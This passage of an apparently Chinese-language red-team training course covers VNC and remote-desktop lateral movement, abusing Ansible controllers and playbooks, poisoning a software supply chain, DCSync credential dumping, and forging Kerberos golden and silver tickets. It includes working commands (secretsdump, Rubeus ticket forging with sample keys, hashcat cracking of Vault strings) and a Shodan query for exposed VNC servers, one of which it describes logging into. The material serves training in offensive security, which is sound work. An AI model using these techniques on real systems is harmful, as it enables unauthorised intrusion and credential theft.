在企业环境中，VNC 是比较常见的，作用类似于 RDP，给员工提供对其他主机的远程访问。因为是企业内网，员工往往掉以轻心，没有给 VNC 服务设置强密码，从而形成了一个横向移动的向量。此外，不同厂商的 VNC 服务器也具有一些历史 CVE 漏洞，例如 CVE-2019-17662，CVE-2006-2369 等，例如可以实现认证绕过。但是对于 VNC 服务而言，最主要的利用方式还是搜集密码实现远程访问，以及直接访问没有设置认证的 VNC 服务器。没有配置认证的 VNC 服务器并不少见，如果我们在 Shodan 上搜索语句 **"authentication disabled" "RFB 003.008"**，会得到 **9281** 个未开启认证的 VNC 服务实例。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2022-11/scaled-1680-/whZAHr1h7Ig0T8sO-image.png)](https://raven-medicine.com/uploads/images/gallery/2022-11/whZAHr1h7Ig0T8sO-image.png)

登陆其中一个 VNC 服务器进行验证，这是一个 pfsense 防火墙主机，而且当前用户已经是 root 了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2022-11/scaled-1680-/nTdsiHltldpXkyvo-image.png)](https://raven-medicine.com/uploads/images/gallery/2022-11/nTdsiHltldpXkyvo-image.png)

不过，即便 VNC 服务没有启用认证，考虑到 VNC 服务的性质，我们依旧可能需要凭证登陆。因为远程访问用户所看到的界面跟主机的界面是同步的，如果此时用户并不在电脑前，远程主机此时进入屏幕保护状态，再次唤醒时，是需要重新认证的。遇到这种情况，我们可以守株待兔，即等到用户回到主机前再次登录系统。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2022-11/scaled-1680-/YLhjAdgnmqa57jcJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2022-11/YLhjAdgnmqa57jcJ-image.png)

### **远程控制类应用**

远程控制类的应用则更加多种多样，例如 **TeamViewer**、**ToDesk** 等，顾名思义，在输入目标设备的信息以及密码后，便可以访问远程主机。这类应用往往强制设有密码，但如果我们发现任何拿下的用户对其他设备是控制方，那么我们能进而接管这些用户远程控制的设备。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/n7s6YuNKIBSxn4dh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/n7s6YuNKIBSxn4dh-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/nn49brx4duQ1N2hl-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/nn49brx4duQ1N2hl-image.png)

# 第11章课后作业

### **练习**

1：根据 PsExec 的原理，**手动实现**这个过程。提示一下，过程包括了**上传服务二进制文件**、**开启远程服务**等。

2：实际上**计划任务**也可以作为横向移动的方法，研究一下前提条件，以及**手动实现**这个过程。

3：尝试一下 XiaoLi 修改后的 wmiexec ([https://github.com/XiaoliChan/wmiexec-RegOut](https://github.com/XiaoliChan/wmiexec-RegOut))。

4：手动实现 DCOM 横向移动的 **ShellBrowserWindows** 方法。

5：复现 **SSH 劫持**的 2 种方法。

6：如果有条件，即拥有能与你的团队服务器连通的 Windows 服务器，尝试 BoF **HiddenDesktop**。

7：RDP 配置是可以保存为 **.rdp** 文件的，双击 rdp 文件可以根据文件里的配置打开对目标 RDP 服务器的连接。对于这个特性，你能想到什么用于攻击的场景呢？推荐阅读文章 [https://v2cloud.com/tutorials/rdp-file-configuration](https://v2cloud.com/tutorials/rdp-file-configuration) 以及 [https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/](https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/)

# 面试专题

# 章节12：DevOps



# Ansible

在这章节，我们将简要介绍在 DevOps 中所常涉及的应用以及这些应用可能带来的攻击面。通过对这些 DevOps 中涉及的应用进行利用与攻击，我们可以实现代码执行、横向移动、供应链污染、信息窃取等。DevOps 是一组结合了软件开发和 IT 运营的实践,，促进了一致性与自动化，适用于软件构建、系统变更、以及基础设施修改的管理。DevOps 使得传统基础设置和配置任务更加高效和线性。因为自动化的特性，以及能对基础设置的变更和部署，意味著 DevOps 中涉及的应用具有较高权限，对于攻击者来说是很高效的目标。

### **DevOps 简介**

在 DevOps 环境中可以使用各种工具，这些工具有助于**自动化部署**、**编排**、**版本控制**、**配置管理**、**测试和监控**。以下为分门别类的一些例子：

#### **版本控制系统**

##### **Git**

一种**分布式**版本控制系统，用于在软件开发过程中跟踪源代码的更改。**GitHub**、**GitLab** 和 **Bitbucket** 是流行的 Git 存储库托管平台。

##### **SVN**  


一个**集中式**版本控制系统，允许开发人员跟踪和管理项目中文件和目录的更改。它支持原子提交并使用“复制-修改-合并”模型，促进在单个代码库上的协作工作。

#### **工件存储库管理器**

##### **JFrog Artifactory**

一个通用的工件存储库管理器，完全支持使用任何语言或技术创建的软件包。Artifactory 提供端到端的工件自动跟踪，并具有用户友好的 UI。它与流行的 CI/CD 工具无缝集成并支持所有主要的包格式，有助于加快软件发布周期。

##### **Sonatype Nexus**

一个强大的存储库管理器，允许用户代理、收集和管理**依赖项**，同时促进软件开发团队之间的协作。Nexus 支持多种软件包格式，并与 CI/CD 管道顺利集成，有助于简化软件开发、部署和生命周期管理的过程。

#### **持续集成/持续部署 (CI/CD) 工具**

##### **Jenkins**

一种开源自动化服务器，可让开发人员可靠地构建、测试和部署他们的软件。

##### **GitLab CI/CD**

GitLab 平台的一部分，它提供了一个复杂的持续集成和部署系统。

#### **配置管理工具**

##### **Ansible**

一种开源软件置备、配置管理和应用程序部署工具。

##### **Puppet**

它提供了一种交付和操作软件的标准方式，无论它在何处运行。

##### **Chef**

一个强大的自动化平台，可将基础架构转换为代码。

#### **容器化和编排工具**

##### **Docker**

一个开源平台，用于在容器内自动部署、扩展和管理应用程序

##### **Kubernetes**

一个开源平台，旨在自动部署、扩展和操作应用程序容器。

#### **基础架构即代码 (IaC) 工具**

##### **Terraform**

由 HashiCorp 创建的开源 IaC 软件工具。 它使用户能够使用声明性配置语言来定义和提供数据中心基础设施。

##### **AWS CloudFormation**

为用户提供一种通用语言来描述和配置云环境中的所有基础设施资源。

#### **监控和记录工具**

##### **Grafana**

一个多平台开源分析和交互式可视化 Web 应用程序。

##### **ELK Stack**

用于搜索的 Elasticsearch，用于集中日志记录的 Logstash 和用于可视化的 Kibana。

##### **Splunk**

一种搜索、监控和分析机器生成的大数据的工具。

#### **测试和质量控制工具**

##### **Selenium**

一套用于**浏览器自动化**的工具。 它用于测试 Web 应用程序。

##### **SonarQube**

SonarSource 开发的开源平台，用于持续检查代码质量。

而在这一小节，我们讨论 **Ansible**。Ansible 是一款开源自动化工具或平台，我们可以将 Ansible 视为一个简单的自动化引擎，用于执行配置管理、应用程序部署、服务内编排和供应等 **IT 任务**。虽然 Ansible 可以在任何安装了 Python 的主机上运行，但它通常在类 Unix 系统上运行。Ansible 的显著优势之一是它通过连接到节点 (管理的主机) 并向它们推出称为**Ansible 模块的**特制化 **Python 脚本**来执行特定任务，例如搜集信息、配置设置、运行命令与应用等，Ansible 通过 SSH 执行这些模块，并在完成后**删除**它们，脚本的输出则会被返回给控制器。Ansible 管理的节点通常在**清单文件**中，这是一个通常位于 **/etc/ansible/hosts** 的文本文件，列出了要管理的节点，并可以选择在标签下分组。 节点可以是任何可以运行 Python 的设备：服务器、云实例、虚拟机，甚至是网络设备。

为了能与节点交互，Ansible 不需要在从属主机上安装代理之类的软件，也没有服务器、守护进程、数据库，而是使用 **SSH** 这个受控主机都会安装的服务。控制主机需要有**节点主机用户的密码**，或者节点主机存储有**控制主机 Ansible 账户的公钥**。在安全性方面，因为 Ansible 使用了SSH，所以意味着 Ansible 可以像 SSH 本身一样非常安全。 Ansible 使用一种称为 **YAML** 的语言，以 **Ansible Playbook** 的形式，以一种即使不精通特定脚本语言的 IT 人员也易于理解的方式定义自动化任务。 Playbook 具有高可读性，描述了用户想要远程系统执行的策略，或一般 IT 流程中的步骤。

### **枚举**

当我们攻陷了一台主机，我们首先需要对 Ansible 进行枚举，来确定该主机是否安装了 Ansible，以及是节点主机还是控制器主机，所有的节点主机信息等。在 Web01 上，执行以下枚举：

##### **检查 Ansible 是否安装**

通过查看 ansible 命令是否存在来判断当前主机是否安装了 ansible，如图所示，Web01 有安装 ansible。

```shell
which ansible
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/OABdMObo0URbhoYX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/OABdMObo0URbhoYX-image.png)

##### **列举节点主机**

通过检查清单文件，即 /etc/ansible/hosts 来查看有哪些节点主机。

```shell
cat /etc/ansible/hosts
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/TjCQX0K9Jygmktbg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/TjCQX0K9Jygmktbg-image.png)

我们看到，white-bird 域中的 **dev01** 是受控的节点主机，并且节点主机的受控用户是 **ansibleadm**。

##### **枚举存在的 Playbooks**

Ansible Playbooks 默认存放于 **/opt/playbooks**，查看该目录下是否有 Ansible Playbook。

```shell
ls -al /opt/playbooks
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/GPkMfb4pwf9IiWOp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/GPkMfb4pwf9IiWOp-image.png)

我们能看到共有 5 个 Playbook。

### **利用**

如果攻陷了 Ansible 控制器，我们可以通过运行 Ad-hoc 命令或者 Playbooks 的形式对节点主机进行远程命令执行。前者是简单的 Shell 命令，后者是以脚本形式包含了一系列的任务被周期性地执行。

##### **对节点主机执行命令**

通过下述命令，我们可以对特定的节点主机执行命令。

```shell
ansible <节点主机> -a "<命令>"
```

因为只有 ansible 账户的公钥被存储于 ansibleadm 的 **authorized\_keys** 中，因此即便是 root 用户也不行，我们需要切换到 ansible 账户。此外，我们可以将主机更换为 **all** 以对所有节点执行该命令。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/IBqZP8IV4azSjYib-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/IBqZP8IV4azSjYib-image.png)

##### **以 root 权限执行命令**

在命令后面添加 **--become** 选项可以使得受控用户以 sudo 权限运行命令。

```shell
ansibnle <主机名> -a "<命令>" --become
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/IREl3MExiyVHLBbX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/IREl3MExiyVHLBbX-image.png)

##### **执行 playbooks**

除了 Ad-hoc 命令外，还可以对节点主机运行 playbook，命令如下：

```shell
ansible-playbook <playbook 文件>
```

运行 **krb\_monitor.yml** Playbook，我们得到如下输出：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/Sd5w1V7qUWYApuan-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/Sd5w1V7qUWYApuan-image.png)

该 Playbook 用于搜集 Linux 域主机上存在的 ccache 文件。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/4tDYsh1h4HqCiTg6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/4tDYsh1h4HqCiTg6-image.png)

除了用这些原生命令执行脚本或命令外，我们还可以从**不当配置**上下手。如果我们对于 **Ansible 控制器**已经具有最高权限，那么我们自然可以轻松拿下所有节点主机，但如果我们尚未获得 **root** 或者 **ansible** 账户权限，又该怎么做呢？除了执行远程命令外，Playbooks 还可以储存加密后的节点主机凭证，当我们对 Ansible 控制器尚未具有 root 权限时，可以从可读的 Playbooks 中提取出加密后的凭证，尝试破解出节点主机的明文密码。

##### **包含明文密码的 Playbook**

如果控制器在节点主机上要模仿的用户并没有添加控制器账户的公钥，那么可以在 Playbook 中硬编码明文密码。例如查看 **krb\_monitor\_become.yml**，我们能看到该 Playbook 硬编码了 dev01 账户的明文密码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/3wl1CruUENVD7SB3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/3wl1CruUENVD7SB3-image.png)

##### **命令行中包含明文密码的 Playbook**

除了 Playbook 中可以硬编码明文密码，因为 Playbook 可以执行 Shell 命令，而一些 Shell 命令中同样可以包含明文密码，例如 mysql 命令。在 Playbook **message\_parser.yml** 中，我们根据代码可以知道这个 Playbook 的作用是以 alize 的身份向 chat.js 应用认证并拉取聊天记录。虽然 alice 的凭证我们已经知道了，留意 Playbook 中包含明文凭证的命令是很重要的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/am2OhrqcO0mj1xZh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/am2OhrqcO0mj1xZh-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/68E1sQ1VsrRAc08U-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/68E1sQ1VsrRAc08U-image.png)

##### **可写的 Playbook**

我们发现 Playbook **account\_monitor.yml** 是全局可写的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/GNGVpi0yxGEWFJBS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/GNGVpi0yxGEWFJBS-image.png)

该 Playbook 以特权用户 ansibleadm 在 Dev01 上读取 **/etc/passwd** 文件的内容。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/is7VbPAEZRQYCt3S-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/is7VbPAEZRQYCt3S-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/Gn1JhfQqT4Hn650k-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/Gn1JhfQqT4Hn650k-image.png)

任何用户可以修改这个 Playbook 所执行的 Shell 命令，不过要执行该 Playbook，需要 ansible 用户才行。因此，我们可以变更其中的 Shell 命令，然后等待下次该 Playbook 被执行。

##### **包含 Ansible Vault 字符串的 Playbook**

为了能以另外一个用户的身份在节点主机上执行 Playbook 中的任务，我们需要提供目标用户的凭证，但硬编码明文密码是很有安全隐患的。因此，Ansible 还支持在 Playbook 中以 **Vault 字符串**形式作为目标用户的凭证。其中，Vault 字符串是使用 **Vault 密码**加密后字符串，字符串可以是用户的明文密码。如 asroot.yml 为例，里面包含了这么一段 Vault 字符串。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/f2JhexkH0Z9LLrM2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/f2JhexkH0Z9LLrM2-image.png)

把这段 Vault 字符串拷贝下来，从 **$ANSIBLE\_VAULT** 开始，如下图所示：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/bnMMHXsYL1u1N51R-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/bnMMHXsYL1u1N51R-image.png)

使用 ansible2john 将其转换为可被 hashcat 破解的形式：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/wlqY6XL1TaJKqEt3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/wlqY6XL1TaJKqEt3-image.png)

将文件名以及冒号去掉，即从 **$ansible** 开始。使用 hashcat 的 16900 模式来字典破解：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/76At0a1CO17NtM9N-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/76At0a1CO17NtM9N-image.png)

最后，使用命令 **cat ansible.txt | ansible-vault decrypt**，并输入破解得到的 vault 密码来获得明文凭证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/PnwBWZTNssSp4w5M-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/PnwBWZTNssSp4w5M-image.png)

# 攻击供应链

### **存储库管理软件**

在企业环境中，我们常常遇见存储库管理软件，例如 **JFog Artifactory**, **Nexus Sonatype** 等。这些软件存储了企业内在用的软件包、项目文件、二进制文件等。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2022-11/scaled-1680-/ply5uYjSfnbmaJAa-image.png)](https://raven-medicine.com/uploads/images/gallery/2022-11/ply5uYjSfnbmaJAa-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2022-11/scaled-1680-/FfEf8UreLH3mXAhO-image.png)](https://raven-medicine.com/uploads/images/gallery/2022-11/FfEf8UreLH3mXAhO-image.png)

Sonatype Nexus 或 JFrog Artifactory 等**工件存储库管理器软件**的沦陷会产生严重后果，并导致通常所说的**供应链攻击**或**供应链污染**。这是由于这些系统在软件开发和交付过程中发挥的关键作用。 原因如下：

**集中信任**：这些系统是组织内信任的中央来源。开发人员、CI/CD 系统和部署流程都从这些系统中提取工件，并期望这些工件是绝对可信的。如果攻击者可以破坏系统并将合法工件替换为恶意文件，恶意软件便会最终传播到多个系统。

**广泛影响**：根据组织的规模和工件存储库的使用范围，单个恶意文件最终可能会出现在大量系统上。这可能会导致终端系统遭到大规模破坏。

**持久性和版本控制**：因为工件存储库保留旧版本的工件，所以恶意文件在受损后很长时间内仍可供下载，除非及时发现并删除攻击者上传的恶意文件，否则系统可能会在工件存储库最初遭到破坏后很长时间内受到危害。

**自动化**：在 DevOps 环境中，新软件的构建和部署经常发生，而且通常是自动化的。这意味着攻击者分发的恶意文件可以快速分布到整个组织，并且很难追踪和删除工件的所有实例。

**访问机密**：通常，这些系统可以访问部署应用程序所需的机密，例如数据库凭证、API 密钥等。如果遭到沦陷，攻击者可以访问这些敏感信息。

由于这些原因，工件存储库的安全性至关重要。

### **匿名访问**

例如 Artifactory 和 Sonatype，是允许**匿名访问**的，即攻击者不需要凭证也可以访问存储库中的文件，甚至具有一定权限，例如更改文件或项目的属性。并且，如果存在更严重的配置失误，匿名状态下甚至可以部署文件，这种情况对于攻击者无疑是快捷的胜利。即便在匿名状态下没有任何写权限，我们应该枚举匿名访问的所有权限。除此之外，因为存储库管理软件同样可能存储了内部应用的源代码以及其他敏感文件，我们可以从中提取敏感信息，例如 **API Key**，**明文帐号密码**等。

### **供应链污染**

不管是**具有写权限的匿名访问**，还是获得了**存储库管理软件的有效凭证**，如果我们具备**写权限**，便可以**上传**、**替换**、**更改**文件。从攻击者的角度，将经常被下载或自动化安装的文件替换为植入了木马的程序，可以从而污染众多主机与用户。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/VVrT4t59ooxrbLLV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/VVrT4t59ooxrbLLV-image.png)

如上图所示，该二进制文件已经被下载了 **73** 次了，说明无论是终端用户下载，还是服务器上的计划任务自动拉取文件并执行，只要该文件在供应链中被污染了，后果严重。但即便在授权的渗透或者红队行动中，对于此类攻击依旧要极为谨慎，因为要彻底清除污染十分麻烦。

### **案例：污染供应链实现在 Dev01 的提权**

能被污染的当然不止工件存储库管理软件。在 Dev01 的 **/opt** 目录下，我们发现了一个有意思的文本文件 **status\_report.txt**。查看其内容，看起来是一些用于搜集主机信息的命令的执行输出。根据文件权限，我们猜测是 root 用户在执行某个脚本后将输出保存在了这个文件里。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/6H5zX5qMUO1ZTmC7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/6H5zX5qMUO1ZTmC7-image.png)

观察到这个文件在不断更改，意味着脚本可能在背景中以特定时间间隔执行，即有着类似于计划任务的活动在驱动着。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/E6v1Bcs3cxlDdz32-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/E6v1Bcs3cxlDdz32-image.png)

使用 pspy ([https://github.com/DominicBreuker/pspy](https://github.com/DominicBreuker/pspy)) 观察背景中的进程，我们发现了这些相关的内容：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/1eo3a7X980jO2urq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/1eo3a7X980jO2urq-image.png)

简单地说，有一个在 root 目录下的脚本 **status.sh** 在负责从仓库 [https://github.com/raven-medicine/Automation](https://github.com/raven-medicine/Automation) 克隆最新的项目到 /root/Automation 目录中，目录里的脚本 **cron.sh** 被执行。

回顾一下我们在课程早期的时候，在 **Web01** 的 **FTP 服务器**中发现了一个文本文件，包含了一对有效的 **Github 帐号**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/e7FUjT5EZIxqcJYB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/e7FUjT5EZIxqcJYB-image.png)

用该凭证得以成功登陆。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/MUc5dKaT3NDW5Rit-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/MUc5dKaT3NDW5Rit-image.png)

如我们所料，这个脚本被克隆到了 Dev01 的本地然后被 root 用户执行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/3fVT6klaQPocnTch-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/3fVT6klaQPocnTch-image.png)

既然我们有了Github 凭证，那么可以更新该脚本，**插入恶意命令**，实现对这个简单供应链的污染。就 Dev01 上而言，因为是 **root** 用户执行的，如果我们尚未找到提权路径，我们可以用此方法来实现**本地特权提升**。

在拿到 root 权限后，观察一下自动化的脚本，跟我们猜想的一样。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/B0RZuLA1qkS3mmmF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/B0RZuLA1qkS3mmmF-image.png)

# 第12章课后作业

### **练习**

1：了解一下 **DevOps 简介**中所提及到的这些软件。

2：复现针对 Ansible 的这些枚举与攻击方法。

3：查看网络安全方面的新闻，了解一下近几年的一些大规模供应链污染事件。

# 面试专题

1\. 谈一谈 Ansible 与 Terraform 的异同

2\. DevOps 对于攻击者/红队，可以有什么样的使用场景呢？

3\. 在使用供应链污染攻击的时候，有哪些因素与事情需要我们仔细考虑？

4\. 如果我们攻下了一台 Ansible 控制主机的服务器，但目前非 root 权限，我们有哪些可能的手段实现提权以及横向移动？

# 章节13：支配域与森林



# DCSync

DCSync 是一项通过 **MS-DRSR** 协议复制 AD信息以及哈希的技术。DCSync 权限意味着持有对象对域具有 **DS-Replication-Get-Changes**，**Replicating Directory Changes All** 和 **Replicating Directory Changes In Filtered Set** 特权。通常来说，只有**域控制器**自身、**域管理员**、**企业管理员**才具备 DCSync 权限，在配置失误的情况下，其他对象也会被赋予 DCSync 权限，使得我们不需要到达域控制器或者拿到域管理员帐号也能提取域内任何帐号的哈希。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/LhndPE3fzfzdi8L7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/LhndPE3fzfzdi8L7-image.png)

至于对 Dcsync 权限的滥用，我们可以使用 Mimikatz 进行本地导出，也可以使用 Impacket 中的 secretdump.py 远程导出。在之前的内容里，我们发现 PROD 域里的 **backup\_operator** 被配置了 Dcsync 特权，因此我们可以切换至该用户，然后使用 CobaltStrike 内置的 **dcsync** 快捷命令导出目标用户的凭证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/P5C27ThPDH1hfMQL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/P5C27ThPDH1hfMQL-image.png)

在 Linux 端，使用 secretsdump 脚本从 NTDS.DIT 中导出凭证：

```shell
python3 secretsdump.py <域fqdb>/<用户>:<密码>@<DC IP> -just-dc
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/Dgpcnjxf7GgO4s7Q-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/Dgpcnjxf7GgO4s7Q-image.png)

# 黄金票据

此时，我们已经拿到了域管理员的身份，并且可以随意地查询到任何用户的凭证，那么怎么进行之后的利用呢？

### **黄金票据**

回顾一下 Kerberos 的认证流程，当用户申请 TGT 的时候，DC使用 krbtgt 的 NTLM 哈希加密了 TGT。当然了，krbtgt 的 NTLM 哈希仅对域控制器所知。正因为如此，如果我们得到了 krbtgt 的密码哈希，那么我们可以用来任意地创建 TGT 票据。我们会在下文也提到白银票据，相比伪造一张服务票据，伪造 TGT 的优势在于可以以模仿的用户访问域内任何主机任何资源。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2022-10/scaled-1680-/4xec3qYqwWPVbQif-image.png)](https://raven-medicine.com/uploads/images/gallery/2022-10/4xec3qYqwWPVbQif-image.png)

获得 krbtgt 的哈希也很简单，因为在制作黄金票据的时候，我们往往已经拿下了整个域，因此可以是通过 DCSync 获取 krbtgt 的哈希，可以在域控制器上从 **Lsass.exe** 进程中提取。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/QnOzPZsE6FS8NBcM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/QnOzPZsE6FS8NBcM-image.png)

有了 krbtgt 的哈希后，我们还需要指定要模仿的用户、域的 FQDN、以及域的 SID。最终，我们可以使用 Rubeus 来制作黄金票据：

```
Rubeus.exe golden /aes256:8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157 /user:administrator /domain:prod.raven-med.local /sid:S-1-5-21-1674258736-4167122442-1078531953 /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/ssRo9mDowzv6lXif-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/ssRo9mDowzv6lXif-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/NXW3RxpgWSgnJdBD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/NXW3RxpgWSgnJdBD-image.png)

制作之后，可以将票据保存为 kirbi 文件，然后通过 CobaltStrike 的 kerberos\_ticket\_use 命令导入从而访问任意资源。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/CB0bJA4ti0wGoShC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/CB0bJA4ti0wGoShC-image.png)

### **KB5008380 补丁**

随着 **KB5008380** 补丁的下发，Kerberos 票据中 PAC 部分增加了额外的校验以及请求票据的用户信息。可以通过修改注册键 **PACRequestorEnforcement** 来决定想要的 PAC 校验行为：**支持旧的 PAC**、**新旧 PAC 都兼容**、**只支持新 PAC**。

PAC 数据负责用户授权，它包含访问不同服务的权限。 PAC 数据是通过 Kerberos 身份验证和授权流程从一张票据复制到另一张票据。当用户首次成功通过 KDC (AS\_REQ) 的身份验证时，用户会收到一个包含用户加密 PAC 数据的 TGT 作为响应 (AS\_REP)，TGT 中的 PAC 包含授权数据 ，即用户组归属列表。之后，当用户请求 TGS 访问特定服务 (TGS\_REQ) 时，PAC 按原样从 TGT 被复制到 TGS (下面的第三步和第四步)。 当 TGS 用于访问服务 (AP\_REQ) 时，服务会检查 PAC 以验证用户的访问权限。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/vU1c4GKHOwwVeeMf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/vU1c4GKHOwwVeeMf-image.png)

PAC 授权数据位于 **KERB\_VALIDATION\_INFO** 结构体中的 **GroupIds** 属性。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/Y17oHhmWE7LpDUg5-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/Y17oHhmWE7LpDUg5-image.png)

该补丁在 PAC 中提供了一个新的结构体，其中包含用户安全标识符 (SID)。 SID 由 KDC 验证 (上图中的第三步)，票证中的用户名 (cname) 被解析为 SID 并与新的 **PAC\_REQUESTOR** 值进行比较。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/vnwRIQNkCAXfgnQB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/vnwRIQNkCAXfgnQB-image.png)

也因为这个更改，增加了新的安全事件：**票据没有请求者**、**请求者不一致**。那么在强制执行新 PAC 结构的环境里，对于黄金票据攻击，我们需要指定**新的 PAC 结构**以及**存在的域用户**，一些安全工具也相应进行了更新 ([https://github.com/gentilkiwi/mimikatz/pull/380](https://github.com/gentilkiwi/mimikatz/pull/380))。

### **白银票据**

伪造的服务票据则是使用了特定主机的 AES256 密钥或者 NTLM 签名所伪造的白银票据，有了白银票据，我们可以模仿任何用户访问该主机上的任何服务，对于中短期的持久化较有帮助。虽然白银票据支持 AES256 密钥以及 NTLM 哈希，但是依旧更建议使用 AES256 密钥，原因在**密钥传递**小节哪里说过。我们依旧可以使用 Rubeus 来制作白银票据。我们需要以下参数：

```
要模仿的用户
域的FQDN
目标主机及服务
主机帐号的AES256密钥
域的SID
```

如果要制作一张访问 File01 主机上服务的白银票据，命令如下：

```
rubeus.exe silver /service:cifs/file01.prod.raven-med.local /aes256:c9e598cd2a9b08fe31936f2c1846a8365d85147f75b8000cbc90e3c9de50fcc7 /user:administrator /domain:prod.raven-med.local /sid:S-1-5-21-1674258736-4167122442-1078531953 /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/2V97IbWLxE8PO8H5-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/2V97IbWLxE8PO8H5-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/EXFjD4i1JJnVkVib-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/EXFjD4i1JJnVkVib-image.png)

将创建的白银票据保存在本地，然后导入到牺牲会话中，发现得以成功访问目标服务了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/ZPkgfmwviaP0Q1bD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/ZPkgfmwviaP0Q1bD-image.png)

为了根据我们的需要创建白银票据，我们可以参考如下列表来指定要维持访问的权限：

